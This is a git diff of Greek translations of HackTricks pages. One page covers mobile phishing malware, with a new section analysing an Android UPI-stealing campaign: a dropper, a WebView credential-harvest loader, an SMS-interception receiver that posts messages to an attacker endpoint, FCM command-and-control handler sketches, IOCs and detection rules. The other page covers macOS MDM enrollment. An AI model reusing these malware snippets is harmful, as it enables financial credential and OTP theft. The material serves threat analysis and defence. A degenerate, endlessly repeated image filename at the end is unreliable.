diff --git a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md index b42d0e7fa..bf94a744d 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md @@ -3,17 +3,17 @@ {{#include ../../banners/hacktricks-training.md}} > [!INFO] -> Αυτή η σελίδα καλύπτει τεχνικές που χρησιμοποιούν οι απειλητικοί παράγοντες για να διανείμουν **κακόβουλα Android APKs** και **προφίλ κινητής διαμόρφωσης iOS** μέσω phishing (SEO, κοινωνική μηχανική, ψεύτικα καταστήματα, εφαρμογές γνωριμιών, κ.λπ.). +> Αυτή η σελίδα καλύπτει τεχνικές που χρησιμοποιούν οι απειλητικοί παράγοντες για να διανείμουν **κακόβουλα Android APKs** και **προφίλ κινητής διαμόρφωσης iOS** μέσω phishing (SEO, κοινωνική μηχανική, ψεύτικα καταστήματα, εφαρμογές γνωριμιών κ.λπ.). > Το υλικό έχει προσαρμοστεί από την καμπάνια SarangTrap που αποκαλύφθηκε από την Zimperium zLabs (2025) και άλλες δημόσιες έρευνες. ## Attack Flow 1. **SEO/Phishing Infrastructure** -* Καταχωρήστε δεκάδες τομείς που μοιάζουν (γνωριμίες, κοινή χρήση cloud, υπηρεσία αυτοκινήτων…). -– Χρησιμοποιήστε λέξεις-κλειδιά και emoji στη το `` για να καταταγείτε στο Google. +* Καταχωρήστε δεκάδες τομείς που μοιάζουν (γνωριμίες, cloud share, υπηρεσία αυτοκινήτου…). +– Χρησιμοποιήστε τοπικές λέξεις-κλειδιά και emojis στο στοιχείο `<title>` για να κατατάξετε στο Google. – Φιλοξενήστε *και τις δύο* οδηγίες εγκατάστασης Android (`.apk`) και iOS στην ίδια σελίδα προορισμού. 2. **First Stage Download** -* Android: άμεσος σύνδεσμος σε ένα *unsigned* ή “κατάστημα τρίτου μέρους” APK. +* Android: άμεσος σύνδεσμος σε ένα *unsigned* ή “third-party store” APK. * iOS: `itms-services://` ή απλός σύνδεσμος HTTPS σε ένα κακόβουλο **mobileconfig** προφίλ (βλ. παρακάτω). 3. **Post-install Social Engineering** * Στην πρώτη εκτέλεση, η εφαρμογή ζητά έναν **κωδικό πρόσκλησης / επαλήθευσης** (ψευδαίσθηση αποκλειστικής πρόσβασης). @@ -30,7 +30,7 @@ ``` * Οι πρόσφατες παραλλαγές **αφαιρούν το `<uses-permission>` για SMS από το `AndroidManifest.xml`** αλλά αφήνουν τη διαδρομή κώδικα Java/Kotlin που διαβάζει SMS μέσω reflection ⇒ μειώνει τη στατική βαθμολογία ενώ παραμένει λειτουργική σε συσκευές που παρέχουν την άδεια μέσω κακής χρήσης `AppOps` ή παλαιών στόχων. 5. **Facade UI & Background Collection** -* Η εφαρμογή εμφανίζει αβλαβείς προβολές (θεατής SMS, επιλογέας γκαλερί) που υλοποιούνται τοπικά. +* Η εφαρμογή εμφανίζει αβλαβείς προβολές (SMS viewer, gallery picker) που έχουν υλοποιηθεί τοπικά. * Εν τω μεταξύ, εξάγει: - IMEI / IMSI, αριθμό τηλεφώνου - Πλήρη εξαγωγή `ContactsContract` (JSON array) @@ -42,7 +42,7 @@ * Οδηγίες κοινωνικής μηχανικής: 1. Ανοίξτε τις Ρυθμίσεις ➜ *Προφίλ κατεβασμένο*. 2. Πατήστε *Εγκατάσταση* τρεις φορές (σκορπιές στην σελίδα phishing). -3. Εμπιστευτείτε το unsigned προφίλ ➜ ο επιτιθέμενος αποκτά *Επαφές* & *Δικαιώματα Φωτογραφιών* χωρίς έλεγχο από το App Store. +3. Εμπιστευτείτε το unsigned προφίλ ➜ ο επιτιθέμενος αποκτά *Contacts* & *Photo* δικαιώματα χωρίς έλεγχο από το App Store. 7. **Network Layer** * Απλό HTTP, συχνά στη θύρα 80 με HOST header όπως `api.<phishingdomain>.com`. * `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (χωρίς TLS → εύκολο να εντοπιστεί). @@ -50,7 +50,7 @@ ## Defensive Testing / Red-Team Tips * **Dynamic Analysis Bypass** – Κατά την αξιολόγηση κακόβουλου λογισμικού, αυτοματοποιήστε τη φάση κωδικού πρόσκλησης με Frida/Objection για να φτάσετε στον κακόβουλο κλάδο. -* **Manifest vs. Runtime Diff** – Συγκρίνετε `aapt dump permissions` με runtime `PackageManager#getRequestedPermissions()`; η απουσία επικίνδυνων αδειών είναι κόκκινη σημαία. +* **Manifest vs. Runtime Diff** – Συγκρίνετε `aapt dump permissions` με runtime `PackageManager#getRequestedPermissions()`; η έλλειψη επικίνδυνων αδειών είναι κόκκινη σημαία. * **Network Canary** – Ρυθμίστε `iptables -p tcp --dport 80 -j NFQUEUE` για να ανιχνεύσετε μη σταθερές εκρήξεις POST μετά την είσοδο κωδικού. * **mobileconfig Inspection** – Χρησιμοποιήστε `security cms -D -i profile.mobileconfig` σε macOS για να καταγράψετε το `PayloadContent` και να εντοπίσετε υπερβολικά δικαιώματα. @@ -58,8 +58,8 @@ * **Certificate Transparency / DNS Analytics** για να πιάσετε ξαφνικές εκρήξεις τομέων πλούσιων σε λέξεις-κλειδιά. * **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` από πελάτες Dalvik εκτός Google Play. -* **Invite-code Telemetry** – POST 6–8 ψηφίων αριθμητικών κωδικών λίγο μετά την εγκατάσταση APK μπορεί να υποδηλώνει προετοιμασία. -* **MobileConfig Signing** – Εμποδίστε τα unsigned προφίλ διαμόρφωσης μέσω πολιτικής MDM. +* **Invite-code Telemetry** – POST 6–8 ψηφιακών κωδικών λίγο μετά την εγκατάσταση APK μπορεί να υποδηλώνει προετοιμασία. +* **MobileConfig Signing** – Αποκλείστε unsigned προφίλ διαμόρφωσης μέσω πολιτικής MDM. ## Useful Frida Snippet: Auto-Bypass Invitation Code ```python @@ -86,9 +86,127 @@ return conn; /upload.php # batched ZIP exfiltration LubanCompress 1.1.8 # "Luban" string inside classes.dex ``` -## Αναφορές +--- + +## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern + +Αυτό το μοτίβο έχει παρατηρηθεί σε καμπάνιες που εκμεταλλεύονται θέματα κυβερνητικών επιδομάτων για να κλέψουν διαπιστευτήρια UPI και OTP από την Ινδία. Οι χειριστές συνδυάζουν αξιόπιστες πλατφόρμες για παράδοση και ανθεκτικότητα. + +### Delivery chain across trusted platforms +- YouTube video lure → description contains a short link +- Shortlink → GitHub Pages phishing site imitating the legit portal +- Same GitHub repo hosts an APK with a fake “Google Play” badge linking directly to the file +- Dynamic phishing pages live on Replit; remote command channel uses Firebase Cloud Messaging (FCM) + +### Dropper with embedded payload and offline install +- First APK is an installer (dropper) that ships the real malware at `assets/app.apk` and prompts the user to disable Wi‑Fi/mobile data to blunt cloud detection. +- The embedded payload installs under an innocuous label (e.g., “Secure Update”). After install, both the installer and the payload are present as separate apps. + +Static triage tip (grep for embedded payloads): +```bash +unzip -l sample.apk | grep -i "assets/app.apk" +# Or: +zipgrep -i "classes|.apk" sample.apk | head +``` +### Ανακάλυψη δυναμικών σημείων μέσω συντομευμένων συνδέσμων +- Το κακόβουλο λογισμικό ανακτά μια λίστα ζωντανών σημείων σε απλό κείμενο, διαχωρισμένη με κόμματα από έναν συντομευμένο σύνδεσμο; απλές μετατροπές συμβολοσειρών παράγουν τη τελική διαδρομή της σελίδας phishing. + +Παράδειγμα (καθαρισμένο): +``` +GET https://rebrand.ly/dclinkto2 +Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php +Transform: "gate.html" → "gate.htm" (loaded in WebView) +UPI credential POST: https://sqcepo.replit.app/addup.php +SMS upload: https://sqcepo.replit.app/addsm.php +``` +Ψευδοκώδικας: +```java +String csv = httpGet(shortlink); +String[] parts = csv.split(","); +String upiPage = parts[0].replace("gate.html", "gate.htm"); +String smsPost = parts[1]; +String credsPost = upiPage.replace("gate.htm", "addup.php"); +``` +### WebView-based UPI credential harvesting +- Το βήμα “Κάντε πληρωμή ₹1 / UPI‑Lite” φορτώνει μια HTML φόρμα του επιτιθέμενου από το δυναμικό endpoint μέσα σε ένα WebView και καταγράφει ευαίσθητα πεδία (τηλέφωνο, τράπεζα, UPI PIN) τα οποία `POST`άρονται στο `addup.php`. + +Minimal loader: +```java +WebView wv = findViewById(R.id.web); +wv.getSettings().setJavaScriptEnabled(true); +wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm +``` +### Αυτο-διάδοση και παρεμβολή SMS/OTP +- Ζητούνται επιθετικές άδειες κατά την πρώτη εκτέλεση: +```xml +<uses-permission android:name="android.permission.READ_CONTACTS"/> +<uses-permission android:name="android.permission.SEND_SMS"/> +<uses-permission android:name="android.permission.READ_SMS"/> +<uses-permission android:name="android.permission.CALL_PHONE"/> +``` +- Οι επαφές συνδέονται για μαζική αποστολή smishing SMS από τη συσκευή του θύματος. +- Τα εισερχόμενα SMS παγιδεύονται από έναν δέκτη εκπομπής και ανεβαίνουν με μεταδεδομένα (αποστολέας, περιεχόμενο, θύρα SIM, τυχαίο ID ανά συσκευή) στο `/addsm.php`. + +Σχέδιο δέκτη: +```java +public void onReceive(Context c, Intent i){ +SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i); +for (SmsMessage m: msgs){ +postForm(urlAddSms, new FormBody.Builder() +.add("senderNum", m.getOriginatingAddress()) +.add("Message", m.getMessageBody()) +.add("Slot", String.valueOf(getSimSlot(i))) +.add("Device rand", getOrMakeDeviceRand(c)) +.build()); +} +} +``` +### Firebase Cloud Messaging (FCM) ως ανθεκτικό C2 +- Το payload εγγράφεται στο FCM; τα μηνύματα push περιέχουν ένα πεδίο `_type` που χρησιμοποιείται ως διακόπτης για την ενεργοποίηση ενεργειών (π.χ., ενημέρωση προτύπων κειμένου phishing, εναλλαγή συμπεριφορών). + +Παράδειγμα payload FCM: +```json +{ +"to": "<device_fcm_token>", +"data": { +"_type": "update_texts", +"template": "New subsidy message..." +} +} +``` +Σχέδιο χειριστή: +```java +@Override +public void onMessageReceived(RemoteMessage msg){ +String t = msg.getData().get("_type"); +switch (t){ +case "update_texts": applyTemplate(msg.getData().get("template")); break; +case "smish": sendSmishToContacts(); break; +// ... more remote actions +} +} +``` +### Hunting patterns and IOCs +- Το APK περιέχει δευτερεύον φορτίο στο `assets/app.apk` +- Το WebView φορτώνει πληρωμή από το `gate.htm` και εξάγει σε `/addup.php` +- Εξαγωγή SMS σε `/addsm.php` +- Fetch ρυθμίσεων μέσω συντομεύσεων (π.χ., `rebrand.ly/*`) που επιστρέφουν CSV endpoints +- Εφαρμογές που χαρακτηρίζονται ως γενικές “Ενημέρωση/Ασφαλής Ενημέρωση” +- FCM `data` μηνύματα με διακριτικό `_type` σε μη αξιόπιστες εφαρμογές + +### Detection & defence ideas +- Σημειώστε εφαρμογές που δίνουν οδηγίες στους χρήστες να απενεργοποιήσουν το δίκτυο κατά την εγκατάσταση και στη συνέχεια να φορτώσουν μια δεύτερη APK από το `assets/`. +- Ειδοποιήστε για το tuple δικαιωμάτων: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + ροές πληρωμών βασισμένες σε WebView. +- Παρακολούθηση εξόδου για `POST /addup.php|/addsm.php` σε μη εταιρικούς διακομιστές; αποκλείστε γνωστή υποδομή. +- Κανόνες Mobile EDR: μη αξιόπιστη εφαρμογή που εγγράφεται για FCM και διακλαδίζεται σε πεδίο `_type`. + +--- + +## References - [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign) - [Luban – Android image compression library](https://github.com/Curzibn/Luban) +- [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/) +- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md index cb4036165..4ec7d3e87 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -**Για να μάθετε για τα macOS MDM, ελέγξτε:** +**Για να μάθετε για τα MDM macOS, ελέγξτε:** - [https://www.youtube.com/watch?v=ku8jZe-MHUU](https://www.youtube.com/watch?v=ku8jZe-MHUU) - [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe) @@ -11,7 +11,7 @@ ### **Επισκόπηση MDM (Διαχείριση Κινητών Συσκευών)** -[Διαχείριση Κινητών Συσκευών](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) χρησιμοποιείται για την εποπτεία διαφόρων συσκευών τελικών χρηστών όπως smartphones, laptops και tablets. Ιδιαίτερα για τις πλατφόρμες της Apple (iOS, macOS, tvOS), περιλαμβάνει ένα σύνολο εξειδικευμένων χαρακτηριστικών, APIs και πρακτικών. Η λειτουργία του MDM εξαρτάται από έναν συμβατό διακομιστή MDM, ο οποίος είναι είτε εμπορικά διαθέσιμος είτε ανοιχτού κώδικα, και πρέπει να υποστηρίζει το [Πρωτόκολλο MDM](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Κύρια σημεία περιλαμβάνουν: +[Διαχείριση Κινητών Συσκευών](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) χρησιμοποιείται για την εποπτεία διαφόρων συσκευών τελικού χρήστη όπως smartphones, laptops και tablets. Ιδιαίτερα για τις πλατφόρμες της Apple (iOS, macOS, tvOS), περιλαμβάνει ένα σύνολο εξειδικευμένων χαρακτηριστικών, APIs και πρακτικών. Η λειτουργία του MDM εξαρτάται από έναν συμβατό διακομιστή MDM, ο οποίος είναι είτε εμπορικά διαθέσιμος είτε ανοιχτού κώδικα, και πρέπει να υποστηρίζει το [Πρωτόκολλο MDM](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Κύρια σημεία περιλαμβάνουν: - Κεντρικός έλεγχος των συσκευών. - Εξάρτηση από έναν διακομιστή MDM που τηρεί το πρωτόκολλο MDM. @@ -19,7 +19,7 @@ ### **Βασικά του DEP (Πρόγραμμα Εγγραφής Συσκευών)** -Το [Πρόγραμμα Εγγραφής Συσκευών](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) που προσφέρει η Apple απλοποιεί την ενσωμάτωση της Διαχείρισης Κινητών Συσκευών (MDM) διευκολύνοντας τη ρύθμιση χωρίς επαφή για συσκευές iOS, macOS και tvOS. Το DEP αυτοματοποιεί τη διαδικασία εγγραφής, επιτρέποντας στις συσκευές να είναι λειτουργικές αμέσως μόλις ανοίξουν, με ελάχιστη παρέμβαση από τον χρήστη ή τον διαχειριστή. Σημαντικές πτυχές περιλαμβάνουν: +Το [Πρόγραμμα Εγγραφής Συσκευών](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) που προσφέρει η Apple απλοποιεί την ενσωμάτωση της Διαχείρισης Κινητών Συσκευών (MDM) διευκολύνοντας τη ρύθμιση χωρίς επαφή για συσκευές iOS, macOS και tvOS. Το DEP αυτοματοποιεί τη διαδικασία εγγραφής, επιτρέποντας στις συσκευές να είναι λειτουργικές αμέσως μόλις ανοίξουν τη συσκευασία, με ελάχιστη παρέμβαση από τον χρήστη ή τον διαχειριστή. Σημαντικές πτυχές περιλαμβάνουν: - Επιτρέπει στις συσκευές να εγγράφονται αυτόματα σε έναν προκαθορισμένο διακομιστή MDM κατά την αρχική ενεργοποίηση. - Κυρίως ωφέλιμο για καινούργιες συσκευές, αλλά εφαρμόσιμο και για συσκευές που επαναρυθμίζονται. @@ -57,25 +57,25 @@ ### DEP - **3 APIs**: 1 για μεταπωλητές, 1 για προμηθευτές MDM, 1 για ταυτότητα συσκευής (μη τεκμηριωμένο): -- Ο λεγόμενος [DEP "cloud service" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Αυτό χρησιμοποιείται από τους διακομιστές MDM για να συσχετίσουν τα προφίλ DEP με συγκεκριμένες συσκευές. -- Το [DEP API που χρησιμοποιείται από τους Εξουσιοδοτημένους Μεταπωλητές της Apple](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) για να εγγράψουν συσκευές, να ελέγξουν την κατάσταση εγγραφής και να ελέγξουν την κατάσταση συναλλαγής. -- Το μη τεκμηριωμένο ιδιωτικό DEP API. Αυτό χρησιμοποιείται από τις Συσκευές Apple για να ζητήσουν το προφίλ DEP τους. Στο macOS, το δυαδικό `cloudconfigurationd` είναι υπεύθυνο για την επικοινωνία μέσω αυτού του API. +- Το λεγόμενο [API "cloud service" DEP](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Αυτό χρησιμοποιείται από τους διακομιστές MDM για να συσχετίσουν τα προφίλ DEP με συγκεκριμένες συσκευές. +- Το [API DEP που χρησιμοποιείται από τους Εξουσιοδοτημένους Μεταπωλητές της Apple](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) για να εγγράψουν συσκευές, να ελέγξουν την κατάσταση εγγραφής και να ελέγξουν την κατάσταση συναλλαγής. +- Το μη τεκμηριωμένο ιδιωτικό API DEP. Αυτό χρησιμοποιείται από τις Συσκευές Apple για να ζητήσουν το προφίλ DEP τους. Στο macOS, το δυαδικό `cloudconfigurationd` είναι υπεύθυνο για την επικοινωνία μέσω αυτού του API. - Πιο σύγχρονο και **JSON** βασισμένο (σε σύγκριση με plist) - Η Apple παρέχει ένα **OAuth token** στον προμηθευτή MDM -**DEP "cloud service" API** +**API "cloud service" DEP** - RESTful -- συγχρονίζει τις εγγραφές συσκευών από την Apple στον διακομιστή MDM +- συγχρονίζει τα αρχεία συσκευών από την Apple στον διακομιστή MDM - συγχρονίζει τα “DEP profiles” στην Apple από τον διακομιστή MDM (παραδίδεται από την Apple στη συσκευή αργότερα) - Ένα DEP “profile” περιέχει: - URL διακομιστή προμηθευτή MDM - Πρόσθετα αξιόπιστα πιστοποιητικά για το URL διακομιστή (προαιρετική pinning) -- Πρόσθετες ρυθμίσεις (π.χ. ποιες οθόνες να παραλειφθούν στον Βοηθό Ρύθμισης) +- Επιπλέον ρυθμίσεις (π.χ. ποιες οθόνες να παραλειφθούν στον Βοηθό Ρύθμισης) ## Αριθμός Σειράς -Οι συσκευές της Apple που κατασκευάστηκαν μετά το 2010 έχουν γενικά **12-χαρακτήρων αλφαριθμητικούς** αριθμούς σειράς, με τα **πρώτα τρία ψηφία να αντιπροσωπεύουν την τοποθεσία κατασκευής**, τα επόμενα **δύο** να υποδεικνύουν το **έτος** και την **εβδομάδα** κατασκευής, τα επόμενα **τρία** ψηφία να παρέχουν έναν **μοναδικό** **αναγνωριστικό**, και τα **τελευταία** **τέσσερα** ψηφία να αντιπροσωπεύουν τον **αριθμό μοντέλου**. +Οι συσκευές Apple που κατασκευάστηκαν μετά το 2010 έχουν γενικά **12-χαρακτήρων αλφαριθμητικούς** αριθμούς σειράς, με τα **πρώτα τρία ψηφία να αντιπροσωπεύουν την τοποθεσία κατασκευής**, τα επόμενα **δύο** να υποδεικνύουν το **έτος** και την **εβδομάδα** κατασκευής, τα επόμενα **τρία** ψηφία να παρέχουν έναν **μοναδικό** **αναγνωριστικό**, και τα **τελευταία** **τέσσερα** ψηφία να αντιπροσωπεύουν τον **αριθμό μοντέλου**. {{#ref}} macos-serial-number.md @@ -83,9 +83,9 @@ macos-serial-number.md ## Βήματα για εγγραφή και διαχείριση -1. Δημιουργία εγγραφής συσκευής (Μεταπωλητής, Apple): Η εγγραφή για τη νέα συσκευή δημιουργείται -2. Ανάθεση εγγραφής συσκευής (Πελάτης): Η συσκευή ανατίθεται σε έναν διακομιστή MDM -3. Συγχρονισμός εγγραφής συσκευής (Προμηθευτής MDM): Ο MDM συγχρονίζει τις εγγραφές συσκευών και σπρώχνει τα προφίλ DEP στην Apple +1. Δημιουργία αρχείου συσκευής (Μεταπωλητής, Apple): Το αρχείο για τη νέα συσκευή δημιουργείται +2. Ανάθεση αρχείου συσκευής (Πελάτης): Η συσκευή ανατίθεται σε έναν διακομιστή MDM +3. Συγχρονισμός αρχείου συσκευής (Προμηθευτής MDM): Ο MDM συγχρονίζει τα αρχεία συσκευών και σπρώχνει τα προφίλ DEP στην Apple 4. Έλεγχος DEP (Συσκευή): Η συσκευή αποκτά το προφίλ DEP της 5. Ανάκτηση προφίλ (Συσκευή) 6. Εγκατάσταση προφίλ (Συσκευή) α. συμπεριλαμβανομένων των payloads MDM, SCEP και root CA @@ -95,7 +95,7 @@ macos-serial-number.md Το αρχείο `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` εξάγει συναρτήσεις που μπορούν να θεωρηθούν **υψηλού επιπέδου "βήματα"** της διαδικασίας εγγραφής. -### Βήμα 4: Έλεγχος DEP - Λήψη της Εγγραφής Ενεργοποίησης +### Βήμα 4: Έλεγχος DEP - Λήψη του Αρχείου Ενεργοποίησης Αυτό το μέρος της διαδικασίας συμβαίνει όταν ένας **χρήστης εκκινεί ένα Mac για πρώτη φορά** (ή μετά από πλήρη διαγραφή) @@ -104,13 +104,13 @@ macos-serial-number.md ή όταν εκτελείται `sudo profiles show -type enrollment` - Καθορίστε **αν η συσκευή είναι ενεργοποιημένη για DEP** -- Η Εγγραφή Ενεργοποίησης είναι το εσωτερικό όνομα για το **DEP “profile”** +- Το Αρχείο Ενεργοποίησης είναι το εσωτερικό όνομα για το **DEP “profile”** - Ξεκινά μόλις η συσκευή συνδεθεί στο Διαδίκτυο - Οδηγείται από **`CPFetchActivationRecord`** -- Υλοποιείται από **`cloudconfigurationd`** μέσω XPC. Ο **"Βοηθός Ρύθμισης"** (όταν η συσκευή εκκινείται για πρώτη φορά) ή η εντολή **`profiles`** θα **επικοινωνήσει με αυτόν τον δαίμονα** για να ανακτήσει την εγγραφή ενεργοποίησης. +- Υλοποιείται από **`cloudconfigurationd`** μέσω XPC. Ο **"Βοηθός Ρύθμισης"** (όταν η συσκευή εκκινείται για πρώτη φορά) ή η εντολή **`profiles`** θα **επικοινωνήσει με αυτή τη διεργασία** για να ανακτήσει το αρχείο ενεργοποίησης. - LaunchDaemon (τρέχει πάντα ως root) -Ακολουθεί μερικά βήματα για να αποκτήσει την Εγγραφή Ενεργοποίησης που εκτελείται από **`MCTeslaConfigurationFetcher`**. Αυτή η διαδικασία χρησιμοποιεί μια κρυπτογράφηση που ονομάζεται **Absinthe** +Ακολουθεί μερικά βήματα για να αποκτήσει το Αρχείο Ενεργοποίησης που εκτελείται από **`MCTeslaConfigurationFetcher`**. Αυτή η διαδικασία χρησιμοποιεί μια κρυπτογράφηση που ονομάζεται **Absinthe** 1. Ανάκτηση **πιστοποιητικού** 1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer) @@ -136,12 +136,12 @@ macos-serial-number.md ![](<../../../images/image (444).png>) - Αίτημα που αποστέλλεται στο **url που παρέχεται στο προφίλ DEP**. -- **Πιστοποιητικά άγκυρας** χρησιμοποιούνται για **αξιολόγηση εμπιστοσύνης** αν παρέχονται. +- **Πιστοποιητικά άγκυρας** χρησιμοποιούνται για **αξιολόγηση εμπιστοσύνης** εάν παρέχονται. - Υπενθύμιση: η **property anchor_certs** του προφίλ DEP - **Το αίτημα είναι ένα απλό .plist** με αναγνώριση συσκευής - Παραδείγματα: **UDID, έκδοση OS**. - CMS-υπογεγραμμένο, DER-κωδικοποιημένο - Υπογεγραμμένο χρησιμοποιώντας το **πιστοποιητικό ταυτότητας συσκευής (από APNS)** -- Η **αλυσίδα πιστοποιητικών** περιλαμβάνει ληγμένο **Apple iPhone Device CA** +- **Η αλυσίδα πιστοποιητικών** περιλαμβάνει ληγμένο **Apple iPhone Device CA** -![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) 